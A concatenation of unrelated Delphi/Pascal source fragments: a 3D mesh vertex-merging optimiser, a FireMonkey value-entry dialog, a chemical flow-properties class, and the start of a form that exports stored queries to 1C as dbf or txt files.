FacesBackup[Value] := -1;
inc(Value);
end;
end;
// Let's move on.
inc(v,_VerticesPerFace);
end;
SetLength(VertexTransformation,0);
// Step 10: Rewrite the faces.
HitCounter := 0;
v := 0;
while v <= High(_Faces) do
begin
if FacesBackup[v] <> -1 then
begin
Value := 0;
while Value < _VerticesPerFace do
begin
_Faces[HitCounter+Value] := FacesBackup[v+Value];
inc(Value);
end;
_FaceNormals[HitCounter div _VerticesPerFace].X := NormalsBackup[v div _VerticesPerFace].X;
_FaceNormals[HitCounter div _VerticesPerFace].Y := NormalsBackup[v div _VerticesPerFace].Y;
_FaceNormals[HitCounter div _VerticesPerFace].Z := NormalsBackup[v div _VerticesPerFace].Z;
_FaceColours[HitCounter div _VerticesPerFace].X := ColoursBackup[v div _VerticesPerFace].X;
_FaceColours[HitCounter div _VerticesPerFace].Y := ColoursBackup[v div _VerticesPerFace].Y;
_FaceColours[HitCounter div _VerticesPerFace].Z := ColoursBackup[v div _VerticesPerFace].Z;
_FaceColours[HitCounter div _VerticesPerFace].W := ColoursBackup[v div _VerticesPerFace].W;
inc(HitCounter,_VerticesPerFace);
end;
inc(v,_VerticesPerFace);
end;
{$ifdef OPTIMIZATION_INFO}
ShowMessage('Efficience Analysis: Faces: ' + IntToStr(HitCounter div _VerticesPerFace) + '/' + IntToStr(_NumFaces) + ' (' + FloatToStr(((HitCounter div _VerticesPerFace) * 100) / _NumFaces) + '%) and Vertexes: ' + IntToStr(High(_Vertices)+1) + '/' + IntToStr(OriginalVertexCount-RemovableVertexCount) + ' (' + FloatToStr(((High(_Vertices)+1)*100) / (OriginalVertexCount - RemovableVertexCount)) + '%)');
{$endif}
_NumFaces := HitCounter div _VerticesPerFace;
SetLength(_Faces,HitCounter);
SetLength(FacesBackup,0);
SetLength(NormalsBackup,0);
SetLength(ColoursBackup,0);
end;
procedure TMeshOptimizationTool.DetectUselessVertexes(var _Vertices, _Normals, _FaceNormals : TAVector3f; var _Colours : TAVector4f; var _VertexTransformation: aint32);
var
v, Value : integer;
SkipNeighbourCheck : boolean;
Angle,MaxAngle : single;
begin
for v := Low(_Vertices) to High(_Vertices) do
begin
_VertexTransformation[v] := v;
// Here we check if every neighbor has the same colour and normal is
// close to the vertex (v) being evaluated.
Value := VertexNeighbors.GetNeighborFromID(v);
SkipNeighbourCheck := false;
while Value <> -1 do
begin
if BorderVertexes[v] = BorderVertexes[Value] then
begin
// if colour is different, then the vertex stays.
if (_Colours[v].X <> _Colours[Value].X) or (_Colours[v].Y <> _Colours[Value].Y) or (_Colours[v].Z <> _Colours[Value].Z) or (_Colours[v].W <> _Colours[Value].W) then
begin
_VertexTransformation[v] := v;
Value := -1;
SkipNeighbourCheck := true;
end
else
Value := VertexNeighbors.GetNextNeighbor;
end
else
Value := VertexNeighbors.GetNextNeighbor;
end;
if not SkipNeighbourCheck then
begin
if BorderVertexes[v] then
MaxAngle := FAngleBorder
else
MaxAngle := FAngle;
Value := FaceNeighbors.GetNeighborFromID(v);
while Value <> -1 do
begin
Angle := (_Normals[v].X * _FaceNormals[Value].X) + (_Normals[v].Y * _FaceNormals[Value].Y) + (_Normals[v].Z * _FaceNormals[Value].Z);
if Angle >= MaxAngle then
begin
_VertexTransformation[v] := -1; // Mark for removal. Note that it can be canceled if the colour is different.
Value := FaceNeighbors.GetNextNeighbor;
end
else
begin
_VertexTransformation[v] := v; // It won't be removed.
Value := -1;
end;
end;
end;
end;
end;
procedure TMeshOptimizationTool.DetectUselessVertexesIgnoringColours(var _Vertices, _Normals, _FaceNormals : TAVector3f; const _Textures: TAVector2f; var _VertexTransformation: aint32);
var
v, Value,BorderNeighborCount : integer;
// Angle,MaxAngle,Size,x,y,z : single;
Angle,Size : single;
Direction: TVector2f;
// Baricentre : TVector3f;
begin
for v := Low(_Vertices) to High(_Vertices) do
begin
_VertexTransformation[v] := v;
// Here we check if every neighbor has the same colour and normal is
// close to the vertex (v) being evaluated.
{
if BorderVertexes[v] then
MaxAngle := FAngleBorder
else
MaxAngle := FAngle;
}
if BorderVertexes[v] then
begin
BorderNeighborCount := 0;
Direction.U := 0;
Direction.V := 0;
Value := VertexNeighbors.GetNeighborFromID(v);
while Value <> -1 do
begin
if BorderVertexes[Value] then
begin
Size := sqrt(((_Textures[v].U - _Textures[Value].U) * (_Textures[v].U - _Textures[Value].U)) + ((_Textures[v].V - _Textures[Value].V) * (_Textures[v].V - _Textures[Value].V)));
Direction.U := Direction.U + ((_Textures[v].U - _Textures[Value].U) / Size);
Direction.V := Direction.V + ((_Textures[v].V - _Textures[Value].V) / Size);
inc(BorderNeighborCount);
end;
Value := VertexNeighbors.GetNextNeighbor;
end;
if (BorderNeighborCount = 2) and (Direction.U = 0) and (Direction.V = 0) then
begin
_VertexTransformation[v] := -1; // Mark for removal.
end
else
begin
_VertexTransformation[v] := v; // It won't be removed.
end;
end
else
begin
Value := FaceNeighbors.GetNeighborFromID(v);
while Value <> -1 do
begin
Angle := (_Normals[v].X * _FaceNormals[Value].X) + (_Normals[v].Y * _FaceNormals[Value].Y) + (_Normals[v].Z * _FaceNormals[Value].Z);
if Angle >= FAngle then
begin
_VertexTransformation[v] := -1; // Mark for removal.
Value := FaceNeighbors.GetNextNeighbor;
end
else
begin
_VertexTransformation[v] := v; // It won't be removed.
Value := -1;
end;
end;
// Let's check if the exclusion of this vertex expands or contracts the mesh.
{
if _VertexTransformation[v] = -1 then
begin
Baricentre := SetVector(0,0,0);
Value := VertexNeighbors.GetNeighborFromID(v);
// Get the baricentre.
while Value <> -1 do
begin
x := (_Vertices[Value].X - _Vertices[v].X);
y := (_Vertices[Value].Y - _Vertices[v].Y);
z := (_Vertices[Value].Z - _Vertices[v].Z);
Baricentre.X := Baricentre.X + x;
Baricentre.Y := Baricentre.Y + y;
Baricentre.Z := Baricentre.Z + z;
Value := VertexNeighbors.GetNextNeighbor;
end;
// Get the direction (normal) of the baricentre.
Size := Sqrt((Baricentre.X * Baricentre.X) + (Baricentre.Y * Baricentre.Y) + (Baricentre.Z * Baricentre.Z));
if Size > 0 then
begin
Baricentre.X := Baricentre.X / Size;
Baricentre.Y := Baricentre.Y / Size;
Baricentre.Z := Baricentre.Z / Size;
// If the direction of the baricentre and normal of the vertex
// are less than 90', then it will expand the mesh and we'll have
// to cancel the elimination of this vertex.
Angle := (_Normals[v].X * Baricentre.X) + (_Normals[v].Y * Baricentre.Y) + (_Normals[v].Z * Baricentre.Z);
if Angle > 0 then
begin
_VertexTransformation[v] := v; // It won't be removed.
end;
end;
end;
}
end;
end;
end;
procedure TMeshOptimizationTool.MergeVertexes(var _Vertices, _Normals: TAVector3f; var _VertexTransformation: aint32);
var
List : CIntegerList;
v, Value,HitCounter : integer;
Angle, MaxAngle : single;
Position : TVector3f;
begin
List := CIntegerList.Create;
List.UseSmartMemoryManagement(true);
for v := Low(_Vertices) to High(_Vertices) do
begin
if _VertexTransformation[v] = -1 then
begin
// Here we look out for all neighbors that are also in -1 and merge
// them into one vertex.
Position.X := _Vertices[v].X;
Position.Y := _Vertices[v].Y;
Position.Z := _Vertices[v].Z;
HitCounter := 1;
List.Add(v);
_VertexTransformation[v] := v;
if BorderVertexes[v] then
begin
MaxAngle := FAngleBorder;
end
else
MaxAngle := FAngle;
while List.GetValue(Value) do
begin
Value := VertexNeighbors.GetNeighborFromID(Value);
while Value <> -1 do
begin
if (_VertexTransformation[Value] = -1) and (BorderVertexes[v] = BorderVertexes[Value]) then
begin
Angle := (_Normals[v].X * _Normals[Value].X) + (_Normals[v].Y * _Normals[Value].Y) + (_Normals[v].Z * _Normals[Value].Z);
if Angle >= MaxAngle then
begin
Position.X := Position.X + _Vertices[Value].X;
Position.Y := Position.Y + _Vertices[Value].Y;
Position.Z := Position.Z + _Vertices[Value].Z;
inc(HitCounter);
_VertexTransformation[Value] := v;
List.Add(Value);
end;
end;
Value := VertexNeighbors.GetNextNeighbor;
end;
end;
// Now we effectively find the vertex's new position.
_Vertices[v].X := Position.X / HitCounter;
_Vertices[v].Y := Position.Y / HitCounter;
_Vertices[v].Z := Position.Z / HitCounter;
end;
end;
List.Free;
end;
procedure TMeshOptimizationTool.MergeVertexesWithTextures(var _Vertices, _Normals,_FaceNormals: TAVector3f; var _TexCoords : TAVector2f; var _VertexTransformation: aint32; const _Faces: auint32; _VerticesPerFace: integer);
var
List : CIntegerList;
v, Value,HitCounter : integer;
Angle, MaxAngle : single;
Position,Normal,EstimatedPosition: TVector3f;
TexCoordinate: TVector2f;
VerticesBackup,NormalsBackup: TAVector3f;
TexturesBackup: TAVector2f;
BorderList,BlacklistedFaces: CIntegerSet;
SavedBorderList,SavedBlackListedFaces: CIntegerSet;
FaceList,SavedFaceList: CTriangleNeighbourSet;
State: TNeighborDetectorSaveData;
MatrixList: TAMatrix;
VertexUtils: TVertexTransformationUtils;
begin
List := CIntegerList.Create;
List.UseSmartMemoryManagement(true);
BorderList := CIntegerSet.Create;
BlackListedFaces := CIntegerSet.Create;
FaceList := CTriangleNeighbourSet.Create;
SavedBorderList := CIntegerSet.Create;
SavedBlackListedFaces := CIntegerSet.Create;
SavedFaceList := CTriangleNeighbourSet.Create;
SetLength(VerticesBackup,High(_Vertices)+1);
SetLength(NormalsBackup,High(_Vertices)+1);
SetLength(TexturesBackup,High(_Vertices)+1);
SetLength(MatrixList,High(_FaceNormals)+1);
for v := Low(_Vertices) to High(_Vertices) do
begin
VerticesBackup[v].X := _Vertices[v].X;
VerticesBackup[v].Y := _Vertices[v].Y;
VerticesBackup[v].Z := _Vertices[v].Z;
NormalsBackup[v].X := _Normals[v].X;
NormalsBackup[v].Y := _Normals[v].Y;
NormalsBackup[v].Z := _Normals[v].Z;
TexturesBackup[v].U := _TexCoords[v].U;
TexturesBackup[v].V := _TexCoords[v].V;
end;
VertexUtils := TVertexTransformationUtils.Create;
for v := Low(_FaceNormals) to High(_FaceNormals) do
begin
MatrixList[v] := VertexUtils.GetTransformMatrixFromVector(_FaceNormals[v]);
end;
VertexUtils.Free;
for v := Low(_Vertices) to High(_Vertices) do
begin
if _VertexTransformation[v] = -1 then
begin
// Here we look out for all neighbors that are also in -1 and merge
// them into one vertex.
Position.X := VerticesBackup[v].X;
Position.Y := VerticesBackup[v].Y;
Position.Z := VerticesBackup[v].Z;
Normal.X := NormalsBackup[v].X;
Normal.Y := NormalsBackup[v].Y;
Normal.Z := NormalsBackup[v].Z;
TexCoordinate.U := TexturesBackup[v].U;
TexCoordinate.V := TexturesBackup[v].V;
HitCounter := 1;
List.Add(v);
_VertexTransformation[v] := v;
if BorderVertexes[v] then
begin
MaxAngle := FAngleBorder;
while List.GetValue(Value) do
begin
Value := VertexNeighbors.GetNeighborFromID(Value);
while Value <> -1 do
begin
if (_VertexTransformation[Value] = -1) and (BorderVertexes[v] = BorderVertexes[Value]) then
begin
Angle := (NormalsBackup[v].X * NormalsBackup[Value].X) + (NormalsBackup[v].Y * NormalsBackup[Value].Y) + (NormalsBackup[v].Z * NormalsBackup[Value].Z);
if Angle >= MaxAngle then
begin
Position.X := Position.X + VerticesBackup[Value].X;
Position.Y := Position.Y + VerticesBackup[Value].Y;
Position.Z := Position.Z + VerticesBackup[Value].Z;
Normal.X := Normal.X + NormalsBackup[Value].X;
Normal.Y := Normal.Y + NormalsBackup[Value].Y;
Normal.Z := Normal.Z + NormalsBackup[Value].Z;
TexCoordinate.U := TexCoordinate.U + TexturesBackup[Value].U;
TexCoordinate.V := TexCoordinate.V + TexturesBackup[Value].V;
inc(HitCounter);
_VertexTransformation[Value] := v;
List.Add(Value);
end;
end;
Value := VertexNeighbors.GetNextNeighbor;
end;
end;
end
else
begin
// Reset variables here.
MaxAngle := FAngle;
BorderList.Reset;
FaceList.Reset;
BlackListedFaces.Reset;
// Collect border neighbours and faces where the vertex is located.
AddBordersNeighborsFromVertex(v,BorderList);
AddNeighbourFaces(v,FaceList,BlackListedFaces,_Faces,_VerticesPerFace);
// Update backups.
SavedBorderList.Assign(BorderList);
SavedFaceList.Assign(FaceList);
SavedBlackListedFaces.Assign(BlackListedFaces);
// Now we process the non-border vertexes only.
while List.GetValue(Value) do
begin
Value := VertexNeighbors.GetNeighborFromID(Value);
while Value <> -1 do
begin
if (_VertexTransformation[Value] = -1) and (not BorderVertexes[Value]) then
begin
Angle := (NormalsBackup[v].X * NormalsBackup[Value].X) + (NormalsBackup[v].Y * NormalsBackup[Value].Y) + (NormalsBackup[v].Z * NormalsBackup[Value].Z);
if Angle >= MaxAngle then
begin
// add borders and faces from the potentially merged vertex
State := VertexNeighbors.SaveState;
AddBordersNeighborsFromVertex(Value,BorderList);
VertexNeighbors.LoadState(State);
AddNeighbourFaces(Value,FaceList,BlackListedFaces,_Faces,_VerticesPerFace);
// check if the merged vertex can really be merged
EstimatedPosition.X := (Position.X + VerticesBackup[Value].X) / HitCounter;
EstimatedPosition.Y := (Position.Y + VerticesBackup[Value].Y) / HitCounter;
EstimatedPosition.Z := (Position.Z + VerticesBackup[Value].Z) / HitCounter;
if not areBorderVertexesHiddenByTriangle(VerticesBackup,EstimatedPosition,FaceList,BorderList,MatrixList) then
begin
// DO
SavedBorderList.Assign(BorderList);
SavedFaceList.Assign(FaceList);
SavedBlackListedFaces.Assign(BlackListedFaces);
// Merge Vertex: Update Position, Normal, Texture
// and check its neighbours
Position.X := Position.X + VerticesBackup[Value].X;
Position.Y := Position.Y + VerticesBackup[Value].Y;
Position.Z := Position.Z + VerticesBackup[Value].Z;
Normal.X := Normal.X + NormalsBackup[Value].X;
Normal.Y := Normal.Y + NormalsBackup[Value].Y;
Normal.Z := Normal.Z + NormalsBackup[Value].Z;
TexCoordinate.U := TexCoordinate.U + TexturesBackup[Value].U;
TexCoordinate.V := TexCoordinate.V + TexturesBackup[Value].V;
inc(HitCounter);
_VertexTransformation[Value] := v;
List.Add(Value);
end
else
begin
// UNDO
// Cancel merge
BorderList.Assign(SavedBorderList);
FaceList.Assign(SavedFaceList);
BlackListedFaces.Assign(SavedBlackListedFaces);
end;
end;
end;
Value := VertexNeighbors.GetNextNeighbor;
end;
end;
end;
// Now we effectively find the vertex's new position.
_Vertices[v].X := Position.X / HitCounter;
_Vertices[v].Y := Position.Y / HitCounter;
_Vertices[v].Z := Position.Z / HitCounter;
_Normals[v].X := Normal.X / HitCounter;
_Normals[v].Y := Normal.Y / HitCounter;
_Normals[v].Z := Normal.Z / HitCounter;
Normalize(_Normals[v]);
_TexCoords[v].U := TexCoordinate.U / HitCounter;
_TexCoords[v].V := TexCoordinate.V / HitCounter;
end;
end;
SetLength(VerticesBackup,0);
SetLength(NormalsBackup,0);
SetLength(TexturesBackup,0);
List.Free;
BorderList.Free;
FaceList.Free;
BlackListedFaces.Free;
SavedBorderList.Free;
SavedFaceList.Free;
SavedBlackListedFaces.Free;
end;
{
procedure TMeshOptimizationTool.MergeVertexesWithTextures(var _Vertices, _Normals: TAVector3f; var _TexCoords : TAVector2f; var _VertexTransformation: aint32);
var
List : CIntegerList;
v, Value,HitCounter,Vertex : integer;
Angle, MaxAngle, Size : single;
Position,Normal,EstimatedPosition,EstimatedNormal: TVector3f;
TexCoordinate: TVector2f;
VerticesBackup,NormalsBackup: TAVector3f;
TexturesBackup: TAVector2f;
BorderList,NeighbourList,AddedNeighbours: CIntegerSet;
begin
List := CIntegerList.Create;
List.UseSmartMemoryManagement(true);
SetLength(VerticesBackup,High(_Vertices)+1);
SetLength(NormalsBackup,High(_Vertices)+1);
SetLength(TexturesBackup,High(_Vertices)+1);
for v := Low(_Vertices) to High(_Vertices) do
begin
VerticesBackup[v].X := _Vertices[v].X;
VerticesBackup[v].Y := _Vertices[v].Y;
VerticesBackup[v].Z := _Vertices[v].Z;
NormalsBackup[v].X := _Normals[v].X;
NormalsBackup[v].Y := _Normals[v].Y;
NormalsBackup[v].Z := _Normals[v].Z;
TexturesBackup[v].U := _TexCoords[v].U;
TexturesBackup[v].V := _TexCoords[v].V;
end;
for v := Low(_Vertices) to High(_Vertices) do
begin
if _VertexTransformation[v] = -1 then
begin
// Here we look out for all neighbors that are also in -1 and merge
// them into one vertex.
Position.X := VerticesBackup[v].X;
Position.Y := VerticesBackup[v].Y;
Position.Z := VerticesBackup[v].Z;
Normal.X := NormalsBackup[v].X;
Normal.Y := NormalsBackup[v].Y;
Normal.Z := NormalsBackup[v].Z;
TexCoordinate.U := TexturesBackup[v].U;
TexCoordinate.V := TexturesBackup[v].V;
HitCounter := 1;
List.Add(v);
_VertexTransformation[v] := v;
if BorderVertexes[v] then
begin
MaxAngle := FAngleBorder;
end
else
begin
MaxAngle := FAngle;
while List.GetValue(Value) do
begin
Value := VertexNeighbors.GetNeighborFromID(Value);
while Value <> -1 do
begin
if (_VertexTransformation[Value] = -1) and (BorderVertexes[v] = BorderVertexes[Value]) then
begin
Angle := (NormalsBackup[v].X * NormalsBackup[Value].X) + (NormalsBackup[v].Y * NormalsBackup[Value].Y) + (NormalsBackup[v].Z * NormalsBackup[Value].Z);
if Angle >= MaxAngle then
begin
Position.X := Position.X + VerticesBackup[Value].X;
Position.Y := Position.Y + VerticesBackup[Value].Y;
Position.Z := Position.Z + VerticesBackup[Value].Z;
Normal.X := Normal.X + NormalsBackup[Value].X;
Normal.Y := Normal.Y + NormalsBackup[Value].Y;
Normal.Z := Normal.Z + NormalsBackup[Value].Z;
TexCoordinate.U := TexCoordinate.U + TexturesBackup[Value].U;
TexCoordinate.V := TexCoordinate.V + TexturesBackup[Value].V;
inc(HitCounter);
_VertexTransformation[Value] := v;
List.Add(Value);
end;
end;
Value := VertexNeighbors.GetNextNeighbor;
end;
end;
end;
// Now we effectively find the vertex's new position.
_Vertices[v].X := Position.X / HitCounter;
_Vertices[v].Y := Position.Y / HitCounter;
_Vertices[v].Z := Position.Z / HitCounter;
_Normals[v].X := Normal.X / HitCounter;
_Normals[v].Y := Normal.Y / HitCounter;
_Normals[v].Z := Normal.Z / HitCounter;
_TexCoords[v].U := TexCoordinate.U / HitCounter;
_TexCoords[v].V := TexCoordinate.V / HitCounter;
end;
end;
SetLength(VerticesBackup,0);
SetLength(NormalsBackup,0);
SetLength(TexturesBackup,0);
List.Free;
end;
}
// Merge Vertex Utils
function TMeshOptimizationTool.areBorderVertexesHiddenByTriangle(var _Vertices: TAVector3f; _V: TVector3f; var _NeighbourList: CTriangleNeighbourSet; var _BorderList: CIntegerSet; const _NormalMatrix : TAMatrix): boolean;
var
VertexUtils : TVertexTransformationUtils;
V1,V2,V3,P: TVector2f;
BorderVert: integer;
NeighbourInfo: PTriangleNeighbourItem;
begin
// Initialize basic stuff.
Result := false;
VertexUtils := TVertexTransformationUtils.Create;
_NeighbourList.GoToFirstElement;
while _NeighbourList.GetData(Pointer(NeighbourInfo)) do
begin
// Now, we get the 2D positions of the vertexes.
V1 := VertexUtils.GetUVCoordinates(_V,_NormalMatrix[NeighbourInfo^.ID]);
V2 := VertexUtils.GetUVCoordinates(_Vertices[NeighbourInfo^.V1],_NormalMatrix[NeighbourInfo^.ID]);
V3 := VertexUtils.GetUVCoordinates(_Vertices[NeighbourInfo^.V2],_NormalMatrix[NeighbourInfo^.ID]);
_BorderList.GoToFirstElement;
while _BorderList.GetValue(BorderVert) do
begin
if (BorderVert <> NeighbourInfo^.V1) and (BorderVert <> NeighbourInfo^.V2) then
begin
P := VertexUtils.GetUVCoordinates(_Vertices[BorderVert],_NormalMatrix[NeighbourInfo^.ID]);
// The border vertex will be hidden by the triangle if P is inside the
// triangle generated by V1, V2 and V3.
Result := VertexUtils.IsPointInsideTriangle(V1,V2,V3,P);
if Result then
exit;
end;
_BorderList.GoToNextElement;
end;
_NeighbourList.GoToNextElement;
end;
// Free memory
VertexUtils.Free;
end;
procedure TMeshOptimizationTool.AddBordersNeighborsFromVertex(_vertex: integer; var _BorderList: CIntegerSet);
var
Value: integer;
begin
Value := VertexNeighbors.GetNeighborFromID(_Vertex);
while Value <> -1 do
begin
if BorderVertexes[Value] then
begin
_BorderList.Add(Value);
end;
Value := VertexNeighbors.GetNextNeighbor;
end;
end;
procedure TMeshOptimizationTool.AddNeighbourFaces(_Vertex: integer; var _FaceList: CTriangleNeighbourSet; var _VisitedFaces: CIntegerSet; const _Faces: auint32; _VerticesPerFace: integer);
var
Value: integer;
Item: PTriangleNeighbourItem;
Vertexes: array[0..1] of PInteger;
i,v,vmax : integer;
begin
Value := FaceNeighbors.GetNeighborFromID(_Vertex);
while Value <> -1 do
begin
if not _VisitedFaces.IsValueInList(Value) then
begin
Item := new(PTriangleNeighbourItem);
Item^.ID := Value;
Vertexes[0] := Addr(Item^.V1);
Vertexes[1] := Addr(Item^.V2);
i := 0;
v := Value * _VerticesPerFace;
vmax := v + _VerticesPerFace;
while v < vmax do
begin
if _Faces[v] <> _Vertex then
begin
Vertexes[i]^ := _Faces[v];
inc(i);
end;
inc(v);
end;
if (i < 2) or (BorderVertexes[Item^.V1] and BorderVertexes[Item^.V2]) then
begin
_VisitedFaces.Add(Value);
end
else if (not _FaceList.Add(Item)) then
begin
_FaceList.Remove(Item);
_VisitedFaces.Add(Value);
end;
Dispose(Item);
end;
Value := FaceNeighbors.GetNextNeighbor;
end;
end;
// Miscellaneous
function TMeshOptimizationTool.GetBorderVertexList(const _Vertices: TAVector3f; const _Faces : auint32; _VerticesPerFace : integer): abool;
var
NeighborCount,EdgeCount: auint32;
Vert,Face,Value,Increment: integer;
begin
SetLength(NeighborCount,High(_Vertices)+1);
SetLength(EdgeCount,High(_Vertices)+1);
SetLength(Result,High(_Vertices)+1);
// Get the number of neighboors for each vertex.
for Vert := Low(_Vertices) to High(_Vertices) do
begin
NeighborCount[Vert] := 0;
Value := VertexNeighbors.GetNeighborFromID(Vert);
while Value <> -1 do
begin
inc(NeighborCount[Vert]);
Value := VertexNeighbors.GetNextNeighbor;
end;
EdgeCount[Vert] := 0; // Initialize EdgeCount array.
end;
// Scan each face and count the edges of each vertex
Increment := _VerticesPerFace-1;
for Face := Low(_Faces) to High(_Faces) do
begin
inc(EdgeCount[_Faces[Face]],Increment);
end;
// for each vertex, if number of edges <> than 2 * neighbors, then it is border
for Vert := Low(_Vertices) to High(_Vertices) do
begin
Result[Vert] := EdgeCount[Vert] <> (2 * NeighborCount[Vert]);
end;
// free memory
SetLength(NeighborCount,0);
SetLength(EdgeCount,0);
end;
end.
|
unit WriteSettings;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs, FMX.Edit, FMX.StdCtrls,
Simplex.Types, FMX.Controls.Presentation;
type
TfrmWriteSettings = class(TForm)
GroupBox1: TGroupBox;
edtWriteValue: TEdit;
lblWriteValue: TLabel;
btnOK: TButton;
btnCancel: TButton;
private
{ Private declarations }
public
{ Public declarations }
end;
function GetWriteSettings(AOwner: TComponent; AValue: SpxVariant;
out AWriteValue: SpxVariant): Boolean;
implementation
{$R *.fmx}
uses Client;
function GetWriteSettings(AOwner: TComponent; AValue: SpxVariant;
out AWriteValue: SpxVariant): Boolean;
var frmWriteSettings: TfrmWriteSettings;
begin
Result := False;
frmWriteSettings := TfrmWriteSettings.Create(AOwner);
try
frmWriteSettings.lblWriteValue.Text := Format('Write value (%s)',
[TypeToStr(AValue)]);
frmWriteSettings.edtWriteValue.Text := ValueToStr(AValue);
if (frmWriteSettings.ShowModal() <> mrOK) then Exit;
if not StrToValue(AValue.BuiltInType, frmWriteSettings.edtWriteValue.Text,
AWriteValue) then
begin
ShowMessage('Incorrect value');
Exit;
end;
Result := True;
finally
FreeAndNil(frmWriteSettings);
end;
end;
end.
|
unit UFlow;
interface
uses URegularFunctions, UConst;
type
Flow = class
mass_flow_rate: real;
mole_flow_rate: real;
volume_flow_rate: real;
mass_fractions: array of real;
mole_fractions: array of real;
volume_fractions: array of real;
temperature, density, molar_mass, heat_capacity: real;
constructor(mass_flow_rate: real; mass_fractions: array of real;
temperature: real);
end;
implementation
constructor Flow.create(mass_flow_rate: real; mass_fractions: array of real;
temperature: real);
begin
self.mass_flow_rate := mass_flow_rate;
self.mass_fractions := normalize(mass_fractions);
self.temperature := temperature;
self.volume_fractions := convert_mass_to_volume_fractions(self.mass_fractions, UConst.DENSITIES);
self.mole_fractions := convert_mass_to_mole_fractions(self.mass_fractions, UCOnst.MR);
self.density := get_flow_density(self.mass_fractions, UConst.DENSITIES);
self.molar_mass := get_flow_molar_mass(self.mass_fractions, UConst.MR);
self.heat_capacity := get_flow_heat_capacity(self.mass_fractions,
self.temperature, UConst.HEATCAPACITYCOEFFS);
self.mole_flow_rate := self.mass_flow_rate / self.molar_mass;
self.volume_flow_rate := self.mass_flow_rate / self.density / 1000;
end;
end. |
unit ExportIn1C;
{ ---------------------------
Created by Urise 06.10.2004
---------------------------
Все данные о том, что нужно экспортировать находятся в хранимых запросах в
EXE_SQL.
Каждый хранимый хапрос может иметь заголовок, то есть ряд строк начиная с первой,
которые начинаются с --
Запросы, которые будут выгружаться относятся к форме ExportIn1C и
содержат в заголовке строчку-псевдокомментарий вида
--$DESC=<тип выгрузки>
Такие хранимые запросы попадают в грид "Тип выгрузки" с помощью запроса qLoad.
Каждый запрос для выгрузки имеет заголовок, в котором определены переменные,
то есть строки типа --$<переменная>=<значение>.
Две переменные должны присутствовать обязательно:
DESC - тип выгрузки и
FILE - хвостик в имени файла dbf, которое имеет формат типа 030804si.dbf, где
первые шесть цифр - это дата, а si - тот самый хвостик
Одна необязательная переменная:
UNLOAD_TYPE - может принимать два значения:
BYDATE - для каждой даты создается отдельный файл с датой в имени
WHOLE - все данные вносятся скопом в один файй, имя которого
имеет формат типа 010904nn.dbf, где первые шесть цифр -
дата выгрузки
по умолчанию если параметр не проставлен явно, он считается
равным BYDATE.
UNLOAD_FORMAT - Определяет тип файла на выходе, может принимать два значения:
".txt", ".dbf"
по умолчанию если параметр не проставлен явно, он считается
равным ".dbf".
Также в заголовке могут присутствовать псевдокомментарии вида:
--%SUMMA=2
Такие строки служат для того, чтобы определить количество знаков после запятой
поля типа Float в полученном dbf. По умолчанию ставится 6 знаков после запятой.
Строки типа --% следует указать для всех числовых полей, если это целое поле, то
поставить ноль, в остальных указать число знаков.
Для того, чтобы добавить новую выгрузку в 1С достаточно добавить хранимый запрос,
удовлетворяющий описанным требованиям (делается с помощью Supervisor и рассылается
пакетами)
Процесс выгрузки отображается в логе, имя которого указано в константе LOG_NAME.
Есть возможность автовыгрузки, для этого нужно при запуске программы проставить
параметр RUN_OIL_EXPORT и INI=path/to/file.ini, в ini-файле в секиции RUN_OIL_EXPORT
указываються параметры работы выгрузки. Возможные параметры:
AzsList - список Id АЗС, через запятую
ExportList - список Id выгрузок, через запятую
Interval - интервал времи между которыми будет делаться провека на возможность
выгрузки и сама выгрузка
LastRun - исходящий параметр, в который проставляеться текущая дата, который
проставляеться когда выгрузка успешно прошла. В текущем дне выгрузка дважды
не произойдет.
Пример ini-файла:
[RUN_OIL_EXPORT]
AzsList=1000000,1000001
ExportList=43443,34344
Interval=60000
LastRun=13.11.2009
}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Grids, DBGridEh, Ora, Db, DBTables, MemTable, StdCtrls, Buttons, ExtCtrls,
MemDS, DBAccess, Mask, ToolEdit, uCommonForm,uOilQuery,uOilStoredProc,IniFiles;
type
TExportIn1CForm = class(TCommonForm)
grid1: TDBGridEh;
pnlBtnAutoUnload: TPanel;
bbCancel: TBitBtn;
mt: TMemoryTable;
ds: TOraDataSource;
qLoad: TOilQuery;
qLoadID: TFloatField;
qLoadDESCRIPTION: TStringField;
mtID: TFloatField;
mtDESCRIPTION: TStringField;
mtCHECKED: TBooleanField;
pTop: TPanel;
Label1: TLabel;
deBegin: TDateEdit;
Label2: TLabel;
deEnd: TDateEdit;
dir1: TDirectoryEdit;
Label3: TLabel;
sbAutoLoad: TSpeedButton;
pnlBtnNormal: TPanel;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
Panel5: TPanel;
SpeedButton4: TSpeedButton;
Panel6: TPanel;
SpeedButton5: TSpeedButton;
TimerAutoUpload: TTimer;
qTestAutoUpload: TOraQuery;
LblNextDate: TLabel;
LblNextDateValue: TLabel;
procedure bbOkClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure mtAfterInsert(DataSet: TDataSet);
procedure FormCreate(Sender: TObject);
procedure grid1GetCellParams(Sender: TObject; Column: TColumnEh;
AFont: TFont; var Background: TColor; State: TGridDrawState);
procedure ExportOne;
procedure ExportAll;
procedure InitLog;
procedure LogExp(p_Str: string);
procedure CloseLog;
procedure grid1ColWidthsChanged(Sender: TObject);
procedure SetChecked(p_Value: Boolean);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure deBeginChange(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
procedure TimerAutoUploadTimer(Sender: TObject);
procedure sbAutoLoadClick(Sender: TObject);
private
{ Private declarations }
FLog: TextFile;
FTxt: TextFile;
ErrorExists, FStopAutoLoad: Boolean;
FStartMode: (smNormal, smAutoUnload);
FAZSList, FExportList: TStringList;
FIni: TIniFile;
public
{ Public declarations }
end;
var
ExportIn1C2Form: TExportIn1CForm;
implementation
{$R *.DFM}
uses UDbFunc,UExeSql,uStart,ExFunc,Main;
const LOG_NAME = 'export1C.log';
//==============================================================================
procedure TExportIn1CForm.InitLog;
begin
AssignFile(FLog,dir1.Text+'\'+LOG_NAME);
if FileExists(dir1.Text+'\'+LOG_NAME) then Append(FLog)
else Rewrite(FLog);
end;
//==============================================================================
procedure TExportIn1CForm.LogExp(p_Str: string);
begin
writeln(Flog,p_Str);
end;
